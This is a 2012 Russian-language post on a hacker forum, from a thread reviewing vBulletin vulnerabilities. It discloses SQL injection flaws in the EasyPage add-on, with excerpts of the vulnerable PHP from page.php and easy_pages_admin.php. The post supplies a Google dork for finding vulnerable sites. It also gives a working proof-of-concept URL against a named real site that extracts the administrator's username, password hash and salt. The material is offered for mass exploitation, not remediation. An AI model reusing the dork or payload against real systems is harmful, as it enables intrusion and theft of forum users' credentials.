Тема: [Обзор уязвимостей vBulletin]
Показать сообщение отдельно

  #136  
Старый 19.04.2012, 21:11
stan0009
Участник форума
Регистрация: 30.07.2010
Сообщений: 118
С нами: 8308406

Репутация: 0
По умолчанию
Да нет вопросов

Поехали

EasyPage SQL-Injection​


Google Dork: intext:"vbulletin" inurl:"page.php?p=" [Result: 18 000]

File: /page.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][...]

[/COLOR][COLOR="#0000BB"]$pageid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p'[/COLOR][COLOR="#007700"]];

[...]

[/COLOR][COLOR="#0000BB"]$page[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$vbulletin[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_first[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"

SELECT *

FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]TABLE_PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"easy_pages

WHERE varname = '[/COLOR][COLOR="#0000BB"]$pageid[/COLOR][COLOR="#DD0000"]'

 LIMIT 1

"[/COLOR][COLOR="#007700"]);

[...][/COLOR][/COLOR] 
PoC:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//stavropolregion.com/page.php?p=stavrop%27%20and%201=2%20union%20select%201,2,3,%28select+concat_ws%280x3b,username,password,salt%29+from+user+where+usergroupid=6%20limit%201%29,5%20--%20f[/COLOR][/COLOR] 
File: /admincp/easy_pages_admin.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][...]

if ([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'do'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'edit'[/COLOR][COLOR="#007700"])

{

[/COLOR][COLOR="#0000BB"]$pageid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'pageid'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$page[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_first[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"

SELECT *

FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]TABLE_PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"easy_pages

WHERE pageid =[/COLOR][COLOR="#0000BB"]$pageid[/COLOR][COLOR="#DD0000"]
 LIMIT 1

"[/COLOR][COLOR="#007700"]);

[...][/COLOR][/COLOR] 
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][...]

if ([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'do'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'edit_update'[/COLOR][COLOR="#007700"]){

[/COLOR][COLOR="#0000BB"]$title[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]addslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"]]);

[/COLOR][COLOR="#0000BB"]$varname[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]addslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'varname'[/COLOR][COLOR="#007700"]]);

[/COLOR][COLOR="#0000BB"]$content[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]addslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'content'[/COLOR][COLOR="#007700"]]);

[/COLOR][COLOR="#0000BB"]$vbulletin[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]TABLE_PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"easy_pages

SET title = '[/COLOR][COLOR="#0000BB"]$title[/COLOR][COLOR="#DD0000"]',

 varname = '[/COLOR][COLOR="#0000BB"]$varname[/COLOR][COLOR="#DD0000"]',

 content = '[/COLOR][COLOR="#0000BB"]$content[/COLOR][COLOR="#DD0000"]',

 table_wrap = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'table_wrap'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]"'

 WHERE pageid = "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]pageid[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]";

 "[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]print_cp_redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'easy_pages_admin.php'[/COLOR][COLOR="#007700"]);

}

[...][/COLOR][/COLOR] 
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][...]

if ([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'do'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'add_update'[/COLOR][COLOR="#007700"]){

[/COLOR][COLOR="#0000BB"]$title[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]addslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"]]);

[/COLOR][COLOR="#0000BB"]$content[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]addslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'content'[/COLOR][COLOR="#007700"]]);

[/COLOR][COLOR="#0000BB"]$varname[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]addslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'varname'[/COLOR][COLOR="#007700"]]);

[/COLOR][COLOR="#0000BB"]$vbulletin[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]TABLE_PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"easy_pages

SET title = '[/COLOR][COLOR="#0000BB"]$title[/COLOR][COLOR="#DD0000"]',

 varname = '[/COLOR][COLOR="#0000BB"]$varname[/COLOR][COLOR="#DD0000"]',

 content = '[/COLOR][COLOR="#0000BB"]$content[/COLOR][COLOR="#DD0000"]',

 table_wrap = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'table_wrap'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]"'

 "[/COLOR][COLOR="#007700"]);



[/COLOR][COLOR="#0000BB"]print_cp_redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'easy_pages_admin.php'[/COLOR][COLOR="#007700"]);

}

[...][/COLOR][/COLOR] 
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][...]

if ([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'do'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'delete_page'[/COLOR][COLOR="#007700"]){

[/COLOR][COLOR="#0000BB"]$vbulletin[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"DELETE FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]TABLE_PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"easy_pages WHERE pageid = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'pageid'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]"' LIMIT 1"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]print_cp_redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'easy_pages_admin.php'[/COLOR][COLOR="#007700"]);

}

[...][/COLOR][/COLOR] 
Было успешно найдено

(c) Boolean, 0x0000ed.com, 2012.

Было успешно взято

(с) Grabberz.com
 
Ответить с цитированием